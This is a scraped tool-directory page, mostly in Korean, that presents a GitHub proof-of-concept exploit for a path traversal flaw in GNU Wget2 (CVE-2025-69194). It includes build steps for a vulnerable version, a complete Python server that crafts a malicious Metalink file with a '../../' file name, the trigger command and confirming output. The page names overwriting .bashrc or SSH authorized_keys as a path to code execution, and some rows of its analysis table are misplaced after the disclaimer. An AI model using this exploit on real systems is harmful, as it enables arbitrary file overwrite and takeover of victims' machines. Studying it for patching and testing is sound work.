Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
POC_CVE-2025-69194 — PoC for CVE-2025-69194, a Path Traversal vulnerability in GNU Wget2 <= 2.2.0. This vulnerability allows attackers to achieve arbitrary file write or overwrite on the victim's filesystem by providing a malicious Metalink file with manipulated file name attributes. | Kitploit
도구/GitHubGitHub/secdongle/poc_cve-2025-69194
Payload GenerationVulnerability AnalysisExploitationWeb SecurityPenetration TestingLearning & Education
GitHubsecdongle/poc_cve-2025-69194

POC_CVE-2025-69194

PoC for CVE-2025-69194, a Path Traversal vulnerability in GNU Wget2 <= 2.2.0. This vulnerability allows attackers to achieve arbitrary file write or overwrite on the victim's filesystem by providing a malicious Metalink file with manipulated file name attributes.

저장소 보기
117개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2025-69194: GNU Wget2 경로 탐색 취약점

📝 설명

CVE-2025-69194에 대한 PoC로, GNU Wget2 <= 2.2.0 (v1.99.1에서 확인됨)에서 발견된 심각한 경로 탐색(Path Traversal) 취약점입니다. 이 취약점을 통해 공격자는 조작된 file name 속성을 가진 악의적인 Metalink 파일을 제공하여 피해자 파일시스템에 임의 파일 쓰기 또는 덮어쓰기를 수행할 수 있습니다.

Wget2가 --force-metalink 옵션을 사용하여 Metalink 파일을 처리할 때, 디렉터리 탐색 시퀀스(예: ../../)를 적절히 검증하지 않습니다. 이로 인해 공격자가 민감한 시스템 파일(예: .bashrc, .ssh/authorized_keys)이나 시스템 바이너리를 덮어쓰는 경우 원격 코드 실행(RCE) 으로 이어질 수 있습니다.


🛠️ 테스트 환경 (Ubuntu 22.04)

취약점을 정확히 재현하기 위해, 취약한 Metalink 모듈이 활성화되어 있고 패치되지 않은 상태를 보장하기 위해 Wget2 v1.99.1을 소스에서 컴파일합니다.

1. 의존성 설치

root@kitploit:~
sudo apt update && sudo apt install -y build-essential libgnutls28-dev libxml2-dev \
                     libzstd-dev liblzma-dev libpcre2-dev libidn2-dev libpsl-dev \
                     libbrotli-dev autoconf automake libtool gettext pkg-config python3

2. Wget2 v1.99.1 컴파일 및 설치

root@kitploit:~
wget https://ftp.gnu.org/gnu/wget/wget2-1.99.1.tar.gz
tar -xvf wget2-1.99.1.tar.gz && cd wget2-1.99.1
./configure --with-libxml2
make -j$(nproc)
sudo make install && sudo ldconfig

# 설치 확인 (+metalink 지원 필요)
wget2 --version | grep -E "1.99.1|metalink"


🚀 개념 증명 (PoC)

1. 공격자 측 (Python 익스플로잇 서버)

공격자는 악성 .metalink 파일과 해당 페이로드를 호스팅합니다. 다음을 poc.py로 저장하세요:

root@kitploit:~
import os
import hashlib
import http.server
import socketserver
import threading
import time

# --- 配置区 ---
TARGET_FILE_NAME = "../../pwned_test.txt"  # 想要穿越到的目标路径
PAYLOAD_CONTENT = "pwned by CVE-2025-69194\n"
PORT = 8000
METALINK_FILE = "exploit.metalink"
PAYLOAD_FILE = "evil.dat"


def create_files():
    # 1. 创建载荷文件
    with open(PAYLOAD_FILE, "w") as f:
        f.write(PAYLOAD_CONTENT)

    # 计算 SHA256
    sha256_hash = hashlib.sha256(PAYLOAD_CONTENT.encode()).hexdigest()
    file_size = len(PAYLOAD_CONTENT)

    # 2. 构造恶意的 Metalink 结构
    metalink_content = f'''<?xml version="1.0" encoding="UTF-8"?>
<metalink xmlns="http://www.metalinker.org/">
  <files>
    <file name="{TARGET_FILE_NAME}">
      <size>{file_size}</size>
      <verification>
        <hash type="sha256">{sha256_hash}</hash>
      </verification>
      <resources>
        <url type="http">http://127.0.0.1:{PORT}/{PAYLOAD_FILE}</url>
      </resources>
    </file>
  </files>
</metalink>
'''
    with open(METALINK_FILE, "w") as f:
        f.write(metalink_content)
    print(f"[+] 恶意文件 {METALINK_FILE} 已生成。")


def start_server():
    handler = http.server.SimpleHTTPRequestHandler
    with socketserver.TCPServer(("", PORT), handler) as httpd:
        print(f"[*] 恶意服务器已在端口 {PORT} 启动...")
        httpd.serve_forever()


if __name__ == "__main__":
    # 清理旧文件
    if os.path.exists(TARGET_FILE_NAME):
        os.remove(TARGET_FILE_NAME)

    create_files()

    # 启动后台服务器
    server_thread = threading.Thread(target=start_server, daemon=True)
    server_thread.start()

    time.sleep(1)  # 等待服务器就绪

    print("\n[!] 现在请在另一个终端执行以下命令进行复现:")
    print(f"wget2 --force-metalink -i {METALINK_FILE}")
    print(f"\n[!] 执行后,检查目标文件是否存在:")
    print(f"ls {TARGET_FILE_NAME} && cat {TARGET_FILE_NAME}")

    # 保持主线程运行
    try:
        while True:
            time.sleep(1)
    except KeyboardInterrupt:
        print("\n[+] 演示结束,正在清理...")


2. 피해자 측 (익스플로잇 트리거)

하위 디렉터리(예: ~/Downloads/CVE-2025-69194/)에서 다음 명령을 실행하여 디렉터리 이스케이프를 확인합니다:

root@kitploit:~
# 사전 확인: 상위 디렉터리에 파일이 없는지 확인
ls ../../pwned_test.txt

# 익스플로잇 실행
wget2 --force-metalink -i exploit.metalink


📊 기술 분석

취약점은 Metalink 파싱 로직에서 name 속성이 정규화 없이 신뢰되는 부분에 존재합니다.

단계설명
입력Wget2가 <file name="../../pwned_test.txt">를 읽음.

📝 샘플 출력 (확인됨)

성공적인 재현 결과, 실행 폴더보다 두 단계 위에 pwned_test.txt 파일이 생성되었습니다:

root@kitploit:~
lele@u22:~/Downloads/CVE-2025-69194$ ls ../../pwned_test.txt
ls: cannot access '../../pwned_test.txt': No such file or directory

lele@u22:~/Downloads/CVE-2025-69194$ wget2 --force-metalink -i exploit.metalink
downloading part 1/1 (0-23) ../../pwned_test.txt from 127.0.0.1
HTTP response 200 OK [http://127.0.0.1:8000/evil.dat]
part 1 downloaded
../../pwned_test.txt checking...
Checksum OK for '../../pwned_test.txt'

lele@u22:~/Downloads/CVE-2025-69194$ ls ../../pwned_test.txt && cat ../../pwned_test.txt
../../pwned_test.txt
pwned by CVE-2025-69194


version poc test

⚠️ 면책 조항

이 도구는 교육 및 공인된 보안 테스트 목적으로만 제공됩니다. 저자는 이 정보의 오용으로 인해 발생하는 모든 피해에 대해 책임을 지지 않습니다. 승인되지 않은 컴퓨터 시스템 접근은 엄격히 금지됩니다.

도구 다운로드
우회경로에 ../가 포함되어 있거나 CWD를 벗어나려는 시도가 있는지 검사하지 않음.
쓰기Wget2가 확인된 경로 CWD + ../../pwned_test.txt를 열고 검증된 페이로드를 기록함.